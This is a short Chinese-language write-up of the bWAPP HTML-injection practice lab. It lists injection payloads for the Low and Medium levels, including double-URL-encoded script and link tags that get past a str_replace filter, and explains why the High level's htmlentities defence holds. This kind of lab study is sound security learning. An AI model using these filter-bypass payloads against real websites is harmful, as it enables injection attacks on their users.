0x00 前言
最近想把bwapp通关~~冲鸭!
0x01 测试过程
先随便输入一下,发现输入的名字会输出到页面上
1.Low
由于会输出输入的名字,我们先尝试一下能不能弹框,OK~~
payload:?firstname=<script>alert(1)</script>&lastname=ruanruan&form=submit
再尝试引入外链
payload:?firstname=quanquan&lastname=ruanruan&form=submit
2.Medium
使用Low等级的两个payload,发现都没执行
可能过滤替换了一些字符
分析源码可以使用urlencode绕过,由于是在浏览器提交payload,浏览器会对url进行一次解码,所以我们需要对payload进行两次urlencode。payload:
?firstname=%253Cscript%253Ealert%25281%2529%253C%252fscript%253E&lastname=ruanruan&form=submit
payload:
?firstname=%253Ca%2520href%253D%2522https%253A%252f%252fblog.csdn.net%252fsyy0201%2522%253Equanquan%253C%252fa%253E&lastname=ruanruan&form=submit
3.High
0x02 源码分析
1.Low
无任何过滤,直接输出。
2.Medium
关键代码:functions_external.php
从第92、93行可以知道,该函数使用了str_replace()将<
、>
转换成HTML实体字符。但是在输出的时候又对输出进行了url解码。那么我们就可以利用url编码绕过str_replace的检查。
3.High
使用了htmlentities()函数将输入转换为 HTML 实体。emmm绕不过